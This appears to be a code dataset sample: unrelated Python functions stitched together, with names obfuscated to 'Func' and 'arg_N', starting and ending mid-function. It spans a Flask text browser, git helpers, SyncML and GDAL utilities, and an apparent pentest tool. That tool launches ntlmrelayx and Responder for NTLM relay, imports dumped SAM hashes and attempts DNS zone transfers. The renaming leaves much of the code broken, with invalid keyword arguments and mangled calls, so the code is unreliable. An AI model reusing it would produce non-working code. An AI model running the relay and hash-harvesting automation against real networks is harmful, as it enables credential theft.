                arg_0.expose_ancestors_or_children(member, arg_1, arg_2=arg_2)
                for member in arg_1.members
                if member.get_label()
            ],
            key=itemgetter("label")
        )
        return arg_3


def Func(arg_0, arg_1, arg_2=None):
        """ Build parents list for given collection

        :param collection: Collection to build dict view of for its members
        :param lang: Language to express data in
        :return: List of basic objects
        """
        return [
            {
                "id": arg_3.id,
                "label": str(arg_3.get_label(arg_2)),
                "model": str(arg_3.model),
                "type": str(arg_3.type),
                "size": arg_3.size
            }
            for arg_3 in arg_1.parents
            if arg_3.get_label()
        ]


def Func(arg_0, arg_1=None):
        """ Retrieve the top collections of the inventory

        :param lang: Lang in which to express main data
        :type lang: str
        :return: Collections information and template
        :rtype: {str: Any}
        """
        arg_2 = arg_0.resolver.getMetadata()
        return {
            "template": "main::collection.html",
            "current_label": arg_2.get_label(arg_1),
            "collections": {
                "members": arg_0.make_members(arg_2, arg_1=arg_1)
            }
        }


def Func(arg_0, arg_1, arg_2=None):
        """ Text exemplar references browsing route function

        :param objectId: Collection identifier
        :type objectId: str
        :param lang: Lang in which to express main data
        :type lang: str
        :return: Template and required information about text with its references
        """
        arg_3, arg_4 = arg_0.get_reffs(arg_1=arg_1, export_collection=True)
        return {
            "template": "main::references.html",
            "objectId": arg_1,
            "citation": arg_3.citation,
            "collections": {
                "current": {
                    "label": arg_3.get_label(arg_2),
                    "id": arg_3.id,
                    "model": str(arg_3.model),
                    "type": str(arg_3.type),
                },
                "parents": arg_0.make_parents(arg_3, arg_2=arg_2)
            },
            "reffs": arg_4
        }


def Func(arg_0, arg_1):
        """ Provides a redirect to the first passage of given objectId

        :param objectId: Collection identifier
        :type objectId: str
        :return: Redirection to the first passage of given text
        """
        arg_2, arg_3 = arg_0.get_reffs(arg_1=arg_1, export_collection=True)
        arg_4, arg_5 = arg_3[0]
        return redirect(
            url_for(".r_passage_semantic", arg_1=arg_1, subreference=arg_4, semantic=arg_0.semantic(arg_2))
        )


def Func(arg_0, arg_1, arg_2, arg_3=None):
        """ Retrieve the text of the passage

        :param objectId: Collection identifier
        :type objectId: str
        :param lang: Lang in which to express main data
        :type lang: str
        :param subreference: Reference identifier
        :type subreference: str
        :return: Template, collections metadata and Markup object representing the text
        :rtype: {str: Any}
        """
        arg_4 = arg_0.get_collection(arg_1)
        if isinstance(arg_4, CtsWorkMetadata):
            arg_5 = [t for t in arg_4.children.values() if isinstance(t, CtsEditionMetadata)]
            if len(arg_5) == 0:
                raise UnknownCollection("This work has no default edition")
            return redirect(url_for(".Func", arg_1=str(arg_5[0].id), arg_2=arg_2))
        arg_6 = arg_0.get_passage(arg_1=arg_1, arg_2=arg_2)
        arg_7 = arg_0.transform(arg_6, arg_6.export(Mimetypes.PYTHON.ETREE), arg_1)
        arg_8, arg_9 = arg_0.get_siblings(arg_1, arg_2, arg_6)
        return {
            "template": "main::text.html",
            "objectId": arg_1,
            "subreference": arg_2,
            "collections": {
                "current": {
                    "label": arg_4.get_label(arg_3),
                    "id": arg_4.id,
                    "model": str(arg_4.model),
                    "type": str(arg_4.type),
                    "author": arg_6.get_creator(arg_3),
                    "title": arg_6.get_title(arg_3),
                    "description": arg_6.get_description(arg_3),
                    "citation": arg_4.citation,
                    "coins": arg_0.make_coins(arg_4, arg_6, arg_2, arg_3=arg_3)
                },
                "parents": arg_0.make_parents(arg_4, arg_3=arg_3)
            },
            "text_passage": Markup(arg_7),
            "prev": arg_8,
            "next": arg_9
        }


def Func(arg_0):
        """ Merge and register assets, both as routes and dictionary

        :return: None
        """
        arg_0.blueprint.add_url_rule(
            # Register another path to ensure assets compatibility
            "{0}.secondary/<filetype>/<asset>".format(arg_0.static_url_path),
            view_func=arg_0.r_assets,
            endpoint="secondary_assets",
            methods=["GET"]
        )


def Func(arg_0):
        """ Create blueprint and register rules

        :return: Blueprint of the current nemo app
        :rtype: flask.Blueprint
        """
        arg_0.register_plugins()

        arg_0.blueprint = Blueprint(
            arg_0.name,
            "nemo",
            url_prefix=arg_0.prefix,
            template_folder=arg_0.template_folder,
            static_folder=arg_0.static_folder,
            static_url_path=arg_0.static_url_path
        )

        for arg_2, arg_3, arg_4, arg_5 in arg_0._urls:
            arg_0.blueprint.add_url_rule(
                arg_2,
                view_func=arg_0.view_maker(arg_3, arg_5),
                endpoint=_plugin_endpoint_rename(arg_3, arg_5),
                arg_4=arg_4
            )

        for arg_2, arg_3, arg_4, arg_5 in arg_0._semantic_url:
            arg_0.blueprint.add_url_rule(
                arg_2,
                view_func=arg_0.view_maker(arg_3, arg_5),
                endpoint=_plugin_endpoint_rename(arg_3, arg_5)+"_semantic",
                arg_4=arg_4
            )

        arg_0.register_assets()
        arg_0.register_filters()

        # We extend the loading list by the instance value
        arg_0.__templates_namespaces__.extend(arg_0.__instance_templates__)
        # We generate a template loader
        for arg_6, arg_7 in arg_0.__templates_namespaces__[::-1]:
            if arg_6 not in arg_0.__template_loader__:
                arg_0.__template_loader__[arg_6] = []
            arg_0.__template_loader__[arg_6].append(
                jinja2.FileSystemLoader(op.abspath(arg_7))
            )
        arg_0.blueprint.jinja_loader = jinja2.PrefixLoader(
            {arg_6: jinja2.ChoiceLoader(paths) for arg_6, paths in arg_0.__template_loader__.items()},
            "::"
        )

        if arg_0.cache is not None:
            for arg_10, arg_5 in arg_0.cached:
                setattr(arg_5, arg_10.__name__, arg_0.cache.memoize()(arg_10))

        return arg_0.blueprint


def Func(arg_0, arg_1, arg_2=None):
        """ Create a view

        :param name: Name of the route function to use for the view.
        :type name: str
        :return: Route function which makes use of Nemo context (such as menu informations)
        :rtype: function
        """
        if arg_2 is None:
            arg_2 = arg_0
        arg_3 = "lang" in [
            parameter.name
            for parameter in inspect.signature(getattr(arg_2, arg_1)).parameters.values()
        ]

        def route(**arg_4):
            if arg_3 and "lang" not in arg_4:
                arg_4["lang"] = arg_0.get_locale()
            if "semantic" in arg_4:
                del arg_4["semantic"]
            return arg_0.route(getattr(arg_2, arg_1), **arg_4)
        return route


def Func(arg_0, arg_1=None):
        """ Retrieve main parent collections of a repository

        :param lang: Language to retrieve information in
        :return: Sorted collections representations
        """
        return sorted([
            {
                "id": arg_2.id,
                "label": str(arg_2.get_label(arg_1=arg_1)),
                "model": str(arg_2.model),
                "type": str(arg_2.type),
                "size": arg_2.size
            }
            for arg_2 in arg_0.resolver.getMetadata().members
        ], key=itemgetter("label"))


def Func(arg_0, arg_1, arg_2):
        """ This function is built to provide cache keys for templates

        :param endpoint: Current endpoint
        :param kwargs: Keyword Arguments
        :return: tuple of i18n dependant cache key and i18n ignoring cache key
        :rtype: tuple(str)
        """
        arg_3 = sorted(arg_2.keys())
        arg_4 = arg_1+"|"+"|".join([arg_2[k] for k in arg_3])
        if "lang" in arg_3:
            arg_5 = arg_1+"|" + "|".join([arg_2[k] for k in arg_3 if k != "lang"])
        else:
            arg_5 = arg_4
        return arg_4, arg_5


def Func(arg_0, arg_1, **arg_2):
        """ Render a route template and adds information to this route.

        :param template: Template name.
        :type template: str
        :param kwargs: dictionary of named arguments used to be passed to the template
        :type kwargs: dict
        :return: Http Response with Funced template
        :rtype: flask.Response
        """

        arg_2["cache_key"] = "%s" % arg_2["url"].values()
        arg_2["lang"] = arg_0.get_locale()
        arg_2["assets"] = arg_0.assets
        arg_2["main_collections"] = arg_0.main_collections(arg_2["lang"])
        arg_2["cache_active"] = arg_0.cache is not None
        arg_2["cache_time"] = 0
        arg_2["cache_key"], arg_2["cache_key_i18n"] = arg_0.make_cache_keys(request.endpoint, arg_2["url"])
        arg_2["template"] = arg_1

        for arg_3 in arg_0.__plugins_Func_views__:
            arg_2.update(arg_3.Func(**arg_2))

        return Func_template(arg_2["template"], **arg_2)


def Func(arg_0):
        """ Register the app using Blueprint

        :return: Nemo blueprint
        :rtype: flask.Blueprint
        """
        if arg_0.app is not None:
            if not arg_0.blueprint:
                arg_0.blueprint = arg_0.create_blueprint()
            arg_0.app.Func_blueprint(arg_0.blueprint)
            if arg_0.cache is None:
                # We Func a fake cache extension.
                setattr(arg_0.app.jinja_env, "_fake_cache_extension", arg_0)
                arg_0.app.jinja_env.add_extension(FakeCacheExtension)
            return arg_0.blueprint
        return None


def Func(arg_0):
        """ Register plugins in Nemo instance

        - Clear routes first if asked by one plugin
        - Clear assets if asked by one plugin and replace by the last plugin registered static_folder
        - Register each plugin
            - Append plugin routes to registered routes
            - Append plugin filters to registered filters
            - Append templates directory to given namespaces
            - Append assets (CSS, JS, statics) to given resources
            - Append render view (if exists) to Nemo.render stack
        """
        if len([arg_1 for arg_1 in arg_0.__plugins__.values() if arg_1.clear_routes]) > 0:  # Clear current routes
            arg_0._urls = list()
            arg_0.cached = list()

        arg_4 = [arg_1 for arg_1 in arg_0.__plugins__.values() if arg_1.clear_assets]
        if len(arg_4) > 0 and not arg_0.prevent_plugin_clearing_assets:  # Clear current Assets
            arg_0.__assets__ = copy(type(arg_0).ASSETS)
            arg_6 = [arg_1.static_folder for arg_1 in arg_4 if arg_1.static_folder]
            if len(arg_6) > 0:
                arg_0.static_folder = arg_6[-1]

        for arg_1 in arg_0.__plugins__.values():
            arg_0._urls.extend([(arg_8, arg_9, arg_10, arg_1) for arg_8, arg_9, arg_10 in arg_1.routes])
            arg_0._filters.extend([(arg_11, arg_1) for arg_11 in arg_1.filters])
            arg_0.__templates_namespaces__.extend(
                [(arg_12, arg_13) for arg_12, arg_13 in arg_1.templates.items()]
            )
            for arg_14 in arg_0.__assets__:
                for arg_15, arg_16 in arg_1.assets[arg_14].items():
                    arg_0.__assets__[arg_14][arg_15] = arg_16
            if arg_1.augment:
                arg_0.__plugins_render_views__.append(arg_1)

            if hasattr(arg_1, "CACHED"):
                for arg_17 in arg_1.CACHED:
                    arg_0.cached.append((getattr(arg_1, arg_17), arg_1))
            arg_1.register_nemo(arg_0)


def Func(arg_0, arg_1, arg_2):
        """ Handle a list of references depending on the text identifier using the Funcer dictionary.

        :param text: Text object from which comes the references
        :type text: MyCapytains.resources.texts.api.Text
        :param reffs: List of references to transform
        :type reffs: References
        :return: Transformed list of references
        :rtype: [str]
        """
        if str(arg_1.id) in arg_0.Funcer:
            return arg_0.Funcer[str(arg_1.id)](arg_1, arg_2)
        return arg_0.Funcer["default"](arg_1, arg_2)


def Func():
    """
        Obtains the data from the pipe and appends the given tag.
    """
    if len(sys.argv) > 1:
        arg_0 = sys.argv[1]
        arg_1 = DocMapper()
        if arg_1.is_pipe:
            arg_2 = 0
            for arg_3 in arg_1.get_pipe():
                arg_3.Func(arg_0)
                arg_3.update(tags=arg_3.tags)
                arg_2 += 1
            print_success("Added tag '{}' to {} object(s)".format(arg_0, arg_2))
        else:
            print_error("Please use this script with pipes")
    else:
        print_error("Usage: jk-add-tag <tag>")
        sys.exit()


def Func(arg_0):
        """Returns the EPSG ID as int if it exists."""
        arg_1 = (arg_0.GetAuthorityCode('PROJCS') or
                   arg_0.GetAuthorityCode('GEOGCS'))
        try:
            return int(arg_1)
        except TypeError:
            return


def Func(arg_0, arg_1, arg_2, arg_3):
        """
            Creates the section value if it does not exists and Funcs the value.
            Use write_config to actually Func the value.
        """
        if not arg_1 in arg_0.config:
            arg_0.config.add_section(arg_1)
        arg_0.config.Func(arg_1, arg_2, arg_3)


def Func(arg_0, arg_1, arg_2):
        """
            This function tries to retrieve the value from the configfile
            otherwise will return a default.
        """
        try:
            return arg_0.config.Func(arg_1, arg_2)
        except configparser.NoSectionError:
            pass
        except configparser.NoOptionError:
            pass
        return arg_0.defaults[arg_1][arg_2]


def Func(arg_0):
        """
            Returns the configuration directory
        """
        arg_1 = expanduser('~')
        Func = os.path.join(arg_1, '.jackal')
        return Func


def Func(arg_0, arg_1=False):
        """
            Write the current config to disk to store them.
        """
        if not os.path.exists(arg_0.config_dir):
            os.mkdir(arg_0.config_dir)

        with open(arg_0.config_file, 'w') as configfile:
            arg_0.config.write(configfile)

        if arg_1:
            arg_2 = arg_0.get('jackal', 'index')
            from jackal import Host, Range, Service, User, Credential, Log
            from jackal.core import create_connection
            create_connection(arg_0)
            Host.init(arg_2="{}-hosts".format(arg_2))
            Range.init(arg_2="{}-ranges".format(arg_2))
            Service.init(arg_2="{}-services".format(arg_2))
            User.init(arg_2="{}-users".format(arg_2))
            Credential.init(arg_2="{}-creds".format(arg_2))
            Log.init(arg_2="{}-log".format(arg_2))


def Func(arg_0):
    """Track the specified remote branch if it is not already tracked."""
    if arg_0 == MASTER_BRANCH:
        # We don't need to explicitly track the master branch, so we're done.
        return

    # Ensure the specified branch is in the local branch list.
    arg_1 = subprocess.check_output(['git', 'branch', '--list'])
    for arg_2 in arg_1.split('\n'):
        if arg_2.strip() == arg_0:
            # We are already tracking the remote branch
            break
    else:
        # We are not tracking the remote branch, so track it.
        try:
            sys.stdout.write(subprocess.check_output(
                ['git', 'checkout', '--track', 'origin/%s' % arg_0]))
        except subprocess.CalledProcessError:
            # Bail gracefully.
            raise SystemExit(1)


def Func(arg_0):
    """Checkout, update and branch from the specified branch."""
    try:
        # Ensure that we're in a git repository. This command is silent unless
        # you're not actually in a git repository, in which case, you receive a
        # "Not a git repository" error message.
        arg_1 = subprocess.check_output(['git', 'rev-parse']).decode('utf-8')
        sys.stdout.write(arg_1)
    except subprocess.CalledProcessError:
        # Bail if we're not in a git repository.
        return

    # This behavior ensures a better user experience for those that aren't
    # intimately familiar with git.
    ensure_remote_branch_is_tracked(arg_0)

    # Switch to the specified branch and update it.
    subprocess.check_call(['git', 'checkout', '--quiet', arg_0])

    # Pulling is always safe here, because we never commit to this branch.
    subprocess.check_call(['git', 'pull', '--quiet'])

    # Checkout the top commit in the branch, effectively going "untracked."
    subprocess.check_call(['git', 'checkout', '--quiet', '%s~0' % arg_0])

    # Clean up the repository of Python cruft. Because we've just switched
    # branches and compiled Python files should not be version controlled,
    # there are likely leftover compiled Python files sitting on disk which may
    # confuse some tools, such as sqlalchemy-migrate.
    subprocess.check_call(['find', '.', '-name', '"*.pyc"', '-delete'])

    # For the sake of user experience, give some familiar output.
    print('Your branch is up to date with branch \'origin/%s\'.' % arg_0)


def Func(arg_0):
        """
            Func will write the contents of ips and ldap_strings to the targets_file.
        """
        if len(arg_0.ldap_strings) == 0 and len(arg_0.ips) == 0:
            print_notification("No targets left")
            if arg_0.auto_exit:
                if arg_0.notifier:
                    arg_0.notifier.stop()
                arg_0.terminate_processes()

        with open(arg_0.targets_file, 'w') as f:
            f.write('\n'.join(arg_0.ldap_strings + arg_0.ips))


def Func(arg_0):
        """
            Starts the ntlmrelayx.py and responder processes.
            Assumes you have these programs in your path.
        """
        arg_0.relay = subprocess.Popen(['ntlmrelayx.py', '-6', '-tf', arg_0.targets_file, '-w', '-l', arg_0.directory, '-of', arg_0.output_file], cwd=arg_0.directory)
        arg_0.responder = subprocess.Popen(['responder', '-I', arg_0.interface_name])


def Func(arg_0, arg_1):
        """
            Function that gets called on each event from pyinotify.
        """
        # IN_CLOSE_WRITE -> 0x00000008
        if arg_1.mask == 0x00000008:
            if arg_1.name.endswith('.json'):
                print_success("Ldapdomaindump file found")
                if arg_1.name in ['domain_groups.json', 'domain_users.json']:
                    if arg_1.name == 'domain_groups.json':
                        arg_0.domain_groups_file = arg_1.pathname
                    if arg_1.name == 'domain_users.json':
                        arg_0.domain_users_file = arg_1.pathname
                    if arg_0.domain_groups_file and arg_0.domain_users_file:
                        print_success("Importing users")
                        subprocess.Popen(['jk-import-domaindump', arg_0.domain_groups_file, arg_0.domain_users_file])
                elif arg_1.name == 'domain_computers.json':
                    print_success("Importing computers")
                    subprocess.Popen(['jk-import-domaindump', arg_1.pathname])

                # Ldap has been dumped, so remove the ldap targets.
                arg_0.ldap_strings = []
                arg_0.write_targets()

            if arg_1.name.endswith('_samhashes.sam'):
                arg_5 = arg_1.name.replace('_samhashes.sam', '')
                # TODO import file.
                print_success("Secretsdump file, host ip: {}".format(arg_5))
                subprocess.Popen(['jk-import-secretsdump', arg_1.pathname])

                # Remove this system from this ip list.
                arg_0.ips.remove(arg_5)
                arg_0.write_targets()


def Func(arg_0):
        """
            Watches directory for changes
        """
        arg_1 = pyinotify.WatchManager()
        arg_0.notifier = pyinotify.Notifier(arg_1, default_proc_fun=arg_0.callback)
        arg_1.add_Func(arg_0.directory, pyinotify.ALL_EVENTS)
        try:
            arg_0.notifier.loop()
        except (KeyboardInterrupt, AttributeError):
            print_notification("Stopping")
        finally:
            arg_0.notifier.stop()
            arg_0.terminate_processes()


def Func(arg_0):
        """
            Terminate the processes.
        """
        if arg_0.relay:
            arg_0.relay.terminate()
        if arg_0.responder:
            arg_0.responder.terminate()


def Func(arg_0):
        """
            This function Funcs for the relay and responding processes to exit.
            Captures KeyboardInterrupt to shutdown these processes.
        """
        try:
            arg_0.relay.Func()
            arg_0.responder.Func()
        except KeyboardInterrupt:
            print_notification("Stopping")
        finally:
            arg_0.terminate_processes()


def Func(arg_0, **arg_1):
        """ Make breadcrumbs for a route

        :param kwargs: dictionary of named arguments used to construct the view
        :type kwargs: dict
        :return: List of dict items the view can use to construct the link.
        :rtype: {str: list({ "link": str, "title", str, "args", dict})}
        """
        arg_2 = []
        # this is the list of items we want to accumulate in the breadcrumb trail.
        # item[0] is the key into the kwargs["url"] object and item[1] is the  name of the route
        # setting a route name to None means that it's needed to construct the route of the next item in the list
        # but shouldn't be included in the list itself (this is currently the case for work --
        # at some point we probably should include work in the navigation)
        arg_2 = []
        if "collections" in arg_1:
            arg_2 = [{
                "title": "Text Collections",
                "link": ".r_collections",
                "args": {}
            }]

            if "parents" in arg_1["collections"]:
                arg_2 += [
                        {
                            "title": arg_3["label"],
                            "link": ".r_collection_semantic",
                            "args": {
                                "objectId": arg_3["id"],
                                "semantic": f_slugify(arg_3["label"]),
                            },
                        }
                        for arg_3 in arg_1["collections"]["parents"]
                  ][::-1]

            if "current" in arg_1["collections"]:
                arg_2.append({
                    "title": arg_1["collections"]["current"]["label"],
                    "link": None,
                    "args": {}
                })

        # don't link the last item in the trail
        if len(arg_2) > 0:
            arg_2[-1]["link"] = None

        return {"breadcrumbs": arg_2}


def Func():
    """
        This function obtains hosts from core and starts a nessus scan on these hosts.
        The nessus tag is appended to the host tags.
    """
    arg_0 = Config()
    arg_1 = HostSearch()
    arg_2 = arg_1.get_hosts(tags=['!nessus'], up=True)
    arg_2 = [arg_10 for arg_10 in arg_2]
    arg_3 = ",".join([str(arg_10.address) for arg_10 in arg_2])

    arg_4 = arg_0.get('nessus', 'host')
    arg_5 = arg_0.get('nessus', 'access_key')
    arg_6 = arg_0.get('nessus', 'secret_key')
    arg_7 = arg_0.get('nessus', 'template_name')

    arg_8 = Nessus(arg_5, arg_6, arg_4, arg_7)

    arg_9 = arg_8.create_scan(arg_3)
    arg_8.start_scan(arg_9)

    for arg_10 in arg_2:
        arg_10.add_tag('nessus')
        arg_10.save()

    Logger().log("nessus", "Nessus scan started on {} hosts".format(len(arg_2)), {'scanned_hosts': len(arg_2)})


def Func(arg_0, arg_1):
        """
            Creates a scan with the given host ips
            Returns the scan id of the created object.
        """
        arg_2 = datetime.datetime.now()
        arg_3 = {
            "uuid": arg_0.get_template_uuid(),
            "settings": {
                "name": "jackal-" + arg_2.strftime("%Y-%m-%d %H:%M"),
                "text_targets": arg_1
            }
        }
        arg_4 = requests.post(arg_0.url + 'scans', arg_3=json.dumps(arg_3), verify=False, headers=arg_0.headers)
        if arg_4:
            arg_5 = json.loads(arg_4.text)
            return arg_5['scan']['id']


def Func(arg_0, arg_1, arg_2):
  '''Bases the comparison of the datastores on URI alone.'''
  arg_3 = difflib.get_close_matches(arg_0.uri, [arg_1.uri, arg_2.uri], 1, cutoff=0.5)
  if len(arg_3) <= 0:
    return 0
  if arg_3[0] == arg_1.uri:
    return -1
  return 1


def Func(arg_0):
        """ Route to retrieve annotations by target

        :param target_urn: The CTS URN for which to retrieve annotations
        :type target_urn: str
        :return: a JSON string containing count and list of resources
        :rtype: {str: Any}
        """

        arg_1 = request.args.get("target", None)
        arg_2 = request.args.get("wildcard", ".", type=str)
        arg_3 = request.args.get("include")
        arg_4 = request.args.get("exclude")
        arg_5 = request.args.get("limit", None, type=int)
        arg_6 = request.args.get("start", 1, type=int)
        arg_7 = request.args.get("expand", False, type=bool)

        if arg_1:

            try:
                arg_8 = MyCapytain.common.reference.URN(arg_1)
            except ValueError:
                return "invalid urn", 400

            arg_9, arg_10 = arg_0.__queryinterface__.getAnnotations(arg_8, arg_2=arg_2, arg_3=arg_3,
                                                                        arg_4=arg_4, arg_5=arg_5, arg_6=arg_6,
                                                                        arg_7=arg_7)
        else:
            #  Note that this implementation is not done for too much annotations
            #  because we do not implement pagination here
            arg_9, arg_10 = arg_0.__queryinterface__.getAnnotations(None, arg_5=arg_5, arg_6=arg_6, arg_7=arg_7)
        arg_11 = []
        arg_12 = {
            "@context": type(arg_0).JSONLD_CONTEXT,
            "id": url_for(".Func", arg_6=arg_6, arg_5=arg_5),
            "type": "AnnotationCollection",
            "startIndex": arg_6,
            "items": [
            ],
            "total": arg_9
        }
        for arg_13 in arg_10:
            arg_11.append({
                "id": url_for(".r_annotation", sha=arg_13.sha),
                "body": url_for(".r_annotation_body", sha=arg_13.sha),
                "type": "Annotation",
                "target": arg_13.target.to_json(),
                "dc:type": arg_13.type_uri,
                "owl:sameAs": [arg_13.uri],
                "nemo:slug": arg_13.slug
            })
        arg_12["items"] = arg_11
        arg_12 = jsonify(arg_12)
        return arg_12


def Func():
    """ Main entry point for the CLI. """
    arg_0 = get_args()
    arg_1 = arg_0.target(arg_0)
    _logger.debug('Exiting with code %d', arg_1)
    sys.exit(arg_1)


def Func(arg_0=False):
    """ Initialize loggers. """
    arg_1 = {
        'version': 1,
        'formatters': {
            'console': {
                'format': '* %(message)s',
            }
        },
        'handlers': {
            'console': {
                'class': 'logging.StreamHandler',
                'level': 'DEBUG',
                'formatter': 'console',
                'stream': 'ext://sys.stdout',
            }
        },
        'loggers': {
            'pwm': {
                'level': 'DEBUG' if arg_0 else 'INFO',
                'handlers': ['console'],
                'propagate': True,
            },
            'requests.packages.urllib3': {
                'level': 'INFO' if arg_0 else 'WARNING',
                'handlers': ['console'],
                'propagate': True,
            }
        }
    }
    logging.config.dictConfig(arg_1)
    arg_2.debuglevel = 1 if arg_0 else 0


def Func(arg_0, arg_1, arg_2=False):
        """Returns the label for a given Enum key"""
        if arg_2:
            arg_3 = arg_0._item_dict.get(arg_1)
            return arg_3.name if arg_3 else arg_1
        return arg_0._item_dict[arg_1].name


def Func(arg_0, arg_1=False, arg_2=''):
        """Returns the Func name for a given enum value"""
        if arg_1 is False:
            arg_3 = arg_0._item_dict.values()
            return [(arg_4.key, arg_4.value) for arg_4 in sorted(arg_3, arg_1=lambda arg_4:arg_4.sort or arg_4.key)]

        arg_5 = arg_0._item_dict.get(arg_1)
        return arg_5.value if arg_5 else arg_2


def Func(arg_0, arg_1):
    """Update the content of a single file."""
    arg_2 = urlopen(arg_0)
    if arg_2.code != 200:
        raise Exception('GET {} failed.'.format(arg_0))
    with open(_get_package_path(arg_1), 'w') as fp:
        for arg_3 in arg_2:
            if not arg_3.startswith(b'#'):
                fp.write(arg_3.decode('utf8'))
    print('Updated {}'.format(arg_1))


def Func(arg_0, arg_1):
    """
        Tries to perform a zone transfer.
    """
    arg_2 = []
    try:
        print_notification("Attempting dns zone transfer for {} on {}".format(arg_1, arg_0))
        arg_3 = dns.zone.from_xfr(dns.query.xfr(arg_0, arg_1))
    except dns.exception.FormError:
        print_notification("Zone transfer not allowed")
        return arg_2
    arg_4 = arg_3.nodes.keys()
    print_success("Zone transfer successfull for {}, found {} entries".format(arg_0, len(arg_4)))
    for arg_5 in arg_4:
        arg_6 = arg_3[arg_5]
        arg_7 = arg_6.get_rdataset(dns.rdataclass.IN, dns.rdatatype.A)
        if arg_7:
            # TODO add hostnames to entries.
            # hostname = n.to_text()
            for arg_8 in arg_7.items:
                arg_0 = arg_8.address
                arg_2.append(arg_0)
    return arg_2


def Func(arg_0, arg_1=False):
    """
        Resolves the list of domains and returns the ips.
    """
    arg_2 = dns.resolver.Resolver()

    arg_3 = []

    for arg_4 in arg_0:
        print_notification("Resolving {}".format(arg_4))
        try:
            arg_5 = arg_2.query(arg_4, 'A')
            for arg_6 in arg_5.response.answer[0]:
                arg_3.append(str(arg_6))
                if not arg_1:
                    arg_3.extend(zone_transfer(str(arg_6), arg_4))
        except dns.resolver.NXDOMAIN as e:
            print_error(e)
    return arg_3


def Func(arg_0, arg_1, arg_2):
    """
        Parses the list of ips, turns these into ranges based on the netmask given.
        Set include_public to True to include public IP adresses.
    """
    arg_3 = HostSearch()
    arg_4 = RangeSearch()
    arg_5 = []
    arg_0 = list(set(arg_0))
    arg_6 = []
    print_success("Found {} ips".format(len(arg_0)))
    for arg_7 in arg_0:
        arg_8 = ipaddress.ip_address(arg_7)
        if arg_2 or arg_8.is_private:
            # To stop the screen filling with ranges.
            if len(arg_0) < 15:
                print_success("Found ip: {}".format(arg_7))
            arg_9 = arg_3.id_to_object(arg_7)
            arg_9.add_tag('dns_discover')
            arg_9.save()
            arg_10 = str(ipaddress.IPv4Network("{}/{}".format(arg_7, arg_1), strict=False))
            arg_5.append(arg_10)
            arg_6.append(arg_7)
        else:
            print_notification("Excluding ip {}".format(arg_7))

    arg_5 = list(set(arg_5))
    print_success("Found {} ranges".format(len(arg_5)))
    for arg_11 in arg_5:
        # To stop the screen filling with ranges.
        if len(arg_5) < 15:
            print_success("Found range: {}".format(arg_11))
        arg_10 = arg_4.id_to_object(arg_11)
        arg_10.add_tag('dns_discover')
        arg_10.save()

    arg_12 = {}
    arg_12['ips'] = arg_6
    arg_12['ranges'] = arg_5
    return arg_12


def Func(arg_0):
        """
            Uses the command line arguments to fill the search function and call it.
        """
        arg_1, arg_2 = arg_0.argparser.parse_known_args()
        return arg_0.search(**vars(arg_1))


def Func(arg_0):
        """
            Uses the command line arguments to fill the count function and call it.
        """
        arg_1, arg_2 = arg_0.argparser.parse_known_args()
        return arg_0.count(**vars(arg_1))


def Func(arg_0, arg_1):
        """
            Returns a generator that maps the input of the pipe to an elasticsearch object.
            Will call id_to_object if it cannot serialize the data from json.
        """
        for arg_2 in sys.stdin:
            try:
                arg_3 = json.loads(arg_2.strip())
                arg_4 = arg_1(**arg_3)
                yield arg_4
            except ValueError:
                yield arg_0.id_to_object(arg_2.strip())


def Func(arg_0, arg_1):
        """
            Resolves an ip adres to a range object, creating it if it doesn't exists.
        """
        arg_2 = Range.get(arg_1, ignore=404)
        if not arg_2:
            arg_2 = Range(range=arg_1)
            arg_2.save()
        return arg_2


def Func(arg_0):
        """
            Argparser option with search functionality specific for ranges.
        """
        arg_1 = arg_0.core_parser
        arg_1.add_argument('-r', '--range', type=str, help="The range to search for use")
        return arg_1


def Func(arg_0, arg_1):
        """
            Resolves the given id to a user object, if it doesn't exists it will be created.
        """
        arg_2 = User.get(arg_1, ignore=404)
        if not arg_2:
            arg_2 = User(username=arg_1)
            arg_2.save()
        return arg_2


def Func(arg_0):
        """
            Returns a list that maps the input of the pipe to an elasticsearch object.
            Will call id_to_object if it cannot serialize the data from json.
        """
        arg_1 = []
        for arg_2 in sys.stdin:
            try:
                arg_1.append(arg_0.line_to_object(arg_2.strip()))
            except ValueError:
                pass
            except KeyError:
                pass
        return arg_1


def Func(arg_0, arg_1, arg_2, arg_3, arg_4):
    '''Consumes an ET protocol tree and converts it to state.Command commands'''

    # do some preliminary sanity checks...
    # todo: do i really want to be using assert statements?...

    assert arg_4.tag == constants.NODE_SYNCML
    assert len(arg_4) == 2
    assert arg_4[0].tag == constants.CMD_SYNCHDR
    assert arg_4[1].tag == constants.NODE_SYNCBODY

    arg_5 = arg_4[0].findtext('VerProto')
    if arg_5 != constants.SYNCML_VERSION_1_2:
      raise common.FeatureNotSupported('unsupported SyncML version "%s" (expected "%s")' \
                                       % (arg_5, constants.SYNCML_VERSION_1_2))
    arg_6 = arg_4[0].findtext('VerDTD')
    if arg_6 != constants.SYNCML_DTD_VERSION_1_2:
      raise common.FeatureNotSupported('unsupported SyncML DTD version "%s" (expected "%s")' \
                                       % (arg_6, constants.SYNCML_DTD_VERSION_1_2))

    arg_7 = arg_0.initialize(arg_1, arg_2, arg_4)
    arg_8 = arg_7[0]

    if arg_2.isServer:
      log.debug('received request SyncML message from "%s" (s%s.m%s)',
                arg_8.target, arg_8.sessionID, arg_8.msgID)
    else:
      log.debug('received response SyncML message from "%s" (s%s.m%s)',
                arg_3[0].target, arg_3[0].sessionID, arg_3[0].msgID)

    try:
      return arg_0._Func(arg_1, arg_2, arg_3, arg_4, arg_7)
    except Exception, e:
      if not arg_2.isServer:
        raise
      # TODO: make this configurable as to whether or not any error
      #       is sent back to the peer as a SyncML "standardized" error
      #       status...
      arg_9 = '%s.%s' % (e.__class__.__module__, e.__class__.__name__)
      arg_10  = ''.join(traceback.format_exception_only(type(e), e)).strip()
      log.exception('failed while interpreting command tree: %s', arg_10)
      # TODO: for some reason, the active exception is not being logged...
      return [
        arg_8,
        state.Command(
          name       = constants.CMD_STATUS,
          cmdID      = '1',
          msgRef     = arg_2.pendingMsgID,
          cmdRef     = 0,
          sourceRef  = arg_4[0].findtext('Source/LocURI'),
          targetRef  = arg_4[0].findtext('Target/LocURI'),
          statusOf   = constants.CMD_SYNCHDR,
          statusCode = constants.STATUS_COMMAND_FAILED,
          errorCode  = arg_9,
          errorMsg   = arg_10,
          errorTrace = ''.join(traceback.format_exception(type(e), e, sys.exc_info()[2])),
          ),
        state.Command(name=constants.CMD_FINAL)]


def Func():
    """Returns a dictionary of enabled GDAL Driver metadata keyed by the
    'ShortName' attribute.
    """
    arg_0 = {}
    for arg_1 in range(gdal.GetDriverCount()):
        arg_2 = gdal.GetDriver(arg_1)
